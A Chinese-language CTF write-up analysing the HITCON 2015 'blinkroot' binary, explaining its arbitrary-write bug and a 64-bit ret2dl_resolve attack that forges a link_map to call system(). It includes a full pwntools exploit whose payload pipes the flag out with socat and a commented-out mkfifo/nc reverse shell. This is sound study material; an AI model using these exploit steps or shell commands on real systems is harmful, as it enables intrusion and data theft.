概要

这题是在ray-cp的文章ret2dl_resolve_analysis里面看到的,被用作讲解64位下ret2dl_resolve攻击的例子。由于汇编代码里面有对xmm0寄存器的操作,做的事情也很奇怪,我搞了半天才弄明白程序的逻辑。这篇就把程序的逻辑和payload的布局梳理一下,其中伪造link_map结构体的部分看ray-cp的原文就好,不能比他说的更好了。

逆向与分析

基本信息:64位、保护开了nx和canary、符号没去

image-20191120210823264

按照习惯拖到里面ida中看看

image-20191120211018104

recvlen函数读取输入并返回读取的字节数

image-20191120211637747

如果输入字符数不等于1024程序退出。正好等于1024的话标准输入、输出、错误被关闭。之后几行看ida反编译的代码没看懂,直接看看汇编吧。

代码很短,注意这里的xmm0是128位寄存器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000400550 <+0>:     sub    rsp,0x18
   0x0000000000400554 <+4>:     xor    edi,edi
   0x0000000000400556 <+6>:     mov    edx,0x400
   0x000000000040055b <+11>:    mov    esi,0x600bc0
   0x0000000000400560 <+16>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400569 <+25>:    mov    QWORD PTR [rsp+0x8],rax
   0x000000000040056e <+30>:    xor    eax,eax
   0x0000000000400570 <+32>:    call   0x4006d0 <recvlen>
   0x0000000000400575 <+37>:    xor    edi,edi
   0x0000000000400577 <+39>:    cmp    rax,0x400
   0x000000000040057d <+45>:    je     0x400584 <main+52>
   0x000000000040057f <+47>:    call   0x4004e0 <_exit@plt>
   0x0000000000400584 <+52>:    call   0x400510 <close@plt>
   0x0000000000400589 <+57>:    mov    edi,0x1
   0x000000000040058e <+62>:    call   0x400510 <close@plt>
   0x0000000000400593 <+67>:    mov    edi,0x2
   0x0000000000400598 <+72>:    call   0x400510 <close@plt>
   0x000000000040059d <+77>:    mov    rax,QWORD PTR [rip+0x20061c]  # 0x600bc0 <data>
   # rax = *(QWORD*)data data的[0-7]bytes
   0x00000000004005a4 <+84>:    mov    QWORD PTR [rsp],0x10 # 把栈顶赋值为0x10
   0x00000000004005ac <+92>:    mov    esi,0x600bc8 # esi = &data+8
   0x00000000004005b1 <+97>:    lea    rdx,[rax+0x600bc0] # rdx = rax+0x600bc0 target
   # xmm0是128位寄存器
   0x00000000004005b8 <+104>:   movlps xmm0,QWORD PTR [rsp] # 移动到xmm0低64位; xmm0L = 0x10
   0x00000000004005bc <+108>:   movhps xmm0,QWORD PTR [rsi] 
   # 移动到xmm0高64位; xmm0H = *(QWORD*)(&data+8) = data[8-15]
   0x00000000004005bf <+111>:   movaps XMMWORD PTR [rdx],xmm0 #往target里面写入xmm0(128位)
   0x00000000004005c2 <+114>:   mov    edi,0x600bd0 # edi = &data+0x10
   0x00000000004005c7 <+119>:   call   0x4004f0 <puts@plt>
   0x00000000004005cc <+124>:   xor    edi,edi
   0x00000000004005ce <+126>:   jmp    0x40057f <main+47>
End of assembler dump.

翻译一下伪代码大概是这样的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
char data[1024];
int main()
{
    if (recvlen(0, data, 1024) == 1024) {
        close(0);
        close(1);
        close(2);
        rax = *(int64_t *)data;
        target = rax+&data;
        xmm0 = *(int64_t *)(data+8) << 64 + 0x10;
        *(int128_t *)(target) = xmm0; //128位赋值
        puts(&data+0x10);         
    }
    exit(0);
}

再整理一下也就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
char data[1024];
int main()
{
    if (recvlen(0, data, 1024) == 1024) {
        close(0);
        close(1);
        close(2);
        int64_t offset = (int64_t)data
        data[offset] = 0x10;
        data[offset+8] = (int64_t)(data+8);
        puts(data[16]);
    }
    exit(0);
}

可以看出,这里有任意地址写的漏洞。构造data结构如下,由于offset是可控的,所以我们能往data+offset处写入:

image-20191120232756098

调试writeup

writeup中的payload如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
addr=0x600BC0 # data地址
plt0=0x600B40 
payload=p64(0x10000000000000000-(addr-plt0)) # offset
payload+=p64(addr+0x100) # payload
payload+="cat flag | socat - TCP4:127.0.0.1:1234;\x00" # arg
payload=payload.ljust(0x100,'\x00')
offset=libc.symbols['system']-libc.symbols['__libc_start_main']
got_libc_address=elf.got['__libc_start_main']
fake_link_map=build_link_map(addr+0x100,1,offset,got_libc_address)
payload+=fake_link_map
payload=payload.ljust(0x400,'\x00')

写入payload之后的内存状况:

image-20191120222924223

可以看到payload希望在0x600b40处写入0x10,在0x600b48处写入0x600cc0,在0x600bd0处写参数。

0x600cc0在data范围内,payload在这里构造了某种数据结构。

target = data+offset,所以offset=target-data,由于要写入的地址小于data的地址,所以offset要加上0x10000000000000000否则p64会报错。

接下来问题就是为什么要在0x600b48处写,以及0x600cc0处的结构体是什么?

这题用的攻击叫做ret2dl_resolve,通过伪造关键数据结构改变解析函数地址时的逻辑。

可以看出0x600b48处的值会被当做函数_dl_fixup的第一个参数,这里是0x600cc0。

image-20191120225834994

image-20191120230133527

_dl_fixup的函数定义是这样的:

image-20191120230556653

所以0x600cc0处构造的是一个link_map类型的结构体,结构体内容很多,有两百多行,这里就不方便贴出来了。可以到这里在线浏览。

writeup中伪造link_map结构体的函数,伪造的原理看下面的参考1吧。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# 我们的调用参数: fake_link_map=build_link_map(0x600cc0, 1, offset, got_libc_address)
# offset=libc.symbols['system']-libc.symbols['__libc_start_main']
# got_libc_address=got_libc_address=elf.got['__libc_start_main']

def build_link_map(fake_addr,reloc_index,offset,got_libc_address):
# 来自https://github.com/ray-cp/pwn_debug/blob/master/pwn_debug/ret2dl_resolve.py
    '''
    linkmap:
    0x00: START
    0x00: l_addr (offset from libc_address to target address
    0x08: 
    0x10: 
    0x14:
    0x15:
    0x18:
    0x20:
    0x28: # target address here
    0x30: fake_jmprel #r_offset 
    0x38:             #r_info should be 7
    0x40:             #r_addend 0
    0x48: 
    0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
    0x70: p_DT_SYMTAB = fake_DT_SYMTAB
    0xf8: p_DT_JMPREL = fake_DT_JMPREL
    0x100: END
    typedef struct
    {
        Elf64_Word    st_name;        /* Symbol name (string tbl index) */
        unsigned char    st_info;        /* Symbol type and binding */
        unsigned char st_other;        /* Symbol visibility */
        Elf64_Section    st_shndx;        /* Section index */
        Elf64_Addr    st_value;        /* Symbol value */
        Elf64_Xword    st_size;        /* Symbol size */
    } Elf64_Sym;
    typedef struct
    {
        Elf64_Addr    r_offset;        /* Address */
        Elf64_Xword    r_info;            /* Relocation type and symbol index */
        Elf64_Sxword    r_addend;        /* Addend */
    } Elf64_Rela;
    '''
    fake_link_map=p64(offset)
    fake_link_map=fake_link_map.ljust(0x10,'\x00')

    #fake_sym=p32(0)  #st_name whatever
    #fake_sym+=p32(0xffffffff)  #st_other should not be 0
    #fake_sym+=p64(got_libc_address-0x8) # st_value should be got libc_address
    #fake_sym=fake_sym.ljust(0x18,'\x00')
    #fake_link_map+= fake_sym
    fake_link_map=fake_link_map.ljust(0x30,'\x00')
    
    target_write=fake_addr+0x28
    fake_jmprel=p64(target_write-offset)  ## offset 
    fake_jmprel+=p64(7)
    fake_jmprel+=p64(0)
    fake_link_map+=fake_jmprel

    fake_link_map=fake_link_map.ljust(0x68,'\x00')
    fake_link_map+=p64(fake_addr)      # DT_STRTAB
    fake_link_map+=p64(fake_addr+0x78-8) #fake_DT_SYMTAB
    fake_link_map+=p64(got_libc_address-8) # symtab_addr st->other==libc_address
    fake_link_map+=p64(fake_addr+0x30-0x18*reloc_index)
    fake_link_map=fake_link_map.ljust(0xf8,'\x00')
    fake_link_map+=p64(fake_addr+0x80-8)  #fake_DT_JMPREL

    return fake_link_map

完整writeup

(基于ray-cp的exp修改)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# -*- coding:utf-8 -*-
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-h']
# r = remote('52.68.31.117', 9547)
name = './blinkroot'
r = process(name)
p=r
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF(name)
def build_link_map(fake_addr,reloc_index,offset,got_libc_address):
    '''
    linkmap:
    0x00: START
    0x00: l_addr (offset from libc_address to target address
    0x08: 
    0x10: 
    0x14:
    0x15:
    0x18:
    0x20:
    0x28: # target address here
    0x30: fake_jmprel #r_offset 
    0x38:             #r_info should be 7
    0x40:             #r_addend 0
    0x48: 
    0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
    0x70: p_DT_SYMTAB = fake_DT_SYMTAB
    0xf8: p_DT_JMPREL = fake_DT_JMPREL
    0x100: END
    typedef struct
    {
        Elf64_Word    st_name;        /* Symbol name (string tbl index) */
        unsigned char    st_info;        /* Symbol type and binding */
        unsigned char st_other;        /* Symbol visibility */
        Elf64_Section    st_shndx;        /* Section index */
        Elf64_Addr    st_value;        /* Symbol value */
        Elf64_Xword    st_size;        /* Symbol size */
    } Elf64_Sym;
    typedef struct
    {
        Elf64_Addr    r_offset;        /* Address */
        Elf64_Xword    r_info;            /* Relocation type and symbol index */
        Elf64_Sxword    r_addend;        /* Addend */
    } Elf64_Rela;
    '''
    fake_link_map=p64(offset)
    fake_link_map=fake_link_map.ljust(0x10,'\x00')

    #fake_sym=p32(0)  #st_name whatever
    #fake_sym+=p32(0xffffffff)  #st_other should not be 0
    #fake_sym+=p64(got_libc_address-0x8) # st_value should be got libc_address
    #fake_sym=fake_sym.ljust(0x18,'\x00')
    #fake_link_map+= fake_sym
    fake_link_map=fake_link_map.ljust(0x30,'\x00')
    
    target_write=fake_addr+0x28
    fake_jmprel=p64(target_write-offset)  ## offset 
    fake_jmprel+=p64(7)
    fake_jmprel+=p64(0)
    fake_link_map+=fake_jmprel

    fake_link_map=fake_link_map.ljust(0x68,'\x00')
    fake_link_map+=p64(fake_addr)      # DT_STRTAB
    fake_link_map+=p64(fake_addr+0x78-8) #fake_DT_SYMTAB
    fake_link_map+=p64(got_libc_address-8) # symtab_addr st->other==libc_address
    fake_link_map+=p64(fake_addr+0x30-0x18*reloc_index)
    fake_link_map=fake_link_map.ljust(0xf8,'\x00')
    fake_link_map+=p64(fake_addr+0x80-8)  #fake_DT_JMPREL

    return fake_link_map


addr=0x600BC0
plt0=0x600B40
payload=p64(2**64-(addr-plt0)) 
# offset = 2**64-(addr-plt0) = 2**64-addr+plt0
# addr + offset = 2**64+plt0
# payload=p64(0x10000000000000000-(addr-plt0)) # 2^64
payload+=p64(addr+0x100) # rcx dat+8
# payload+="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f"
payload += "cat flag | socat - TCP4:127.0.0.1:1234;\x00"

payload=payload.ljust(0x100,'\x00')

offset=libc.symbols['system']-libc.symbols['__libc_start_main']
got_libc_address=elf.got['__libc_start_main']

# ret2dl_resolve=pdbg.ret2dl_resolve()
# fake_link_map address is addr+0x100 
# (0x0600cc0, 1, offset, start_main)
fake_link_map=build_link_map(addr+0x100,1,offset,got_libc_address)
payload+=fake_link_map # 0x0600cc0
payload=payload.ljust(0x400,'\x00')
#pdbg.bp(0x400575)
gdb.attach(r, """
set context-sections "disasm"
br *0x0040059d

""");
p.send(payload) 

# print(str(r.proc.pid))

# gdb.attach(r, """
# heap

# """);
# print(str(r.proc.pid))

r.interactive()

参考

  1. https://ray-cp.github.io/archivers/ret2dl_resolve_analysis#%E5%AE%9E%E4%BE%8Bhitcon2015blinkroot

  2. https://ddaa.tw/hitcon_pwn_200_blinkroot.html

  3. https://dangokyo.me/2018/01/26/hitcon-2015-quals-pwn-blinkroot-write-up/

  4. https://delcoding.github.io/2019/03/ret2dl_resolve_x64/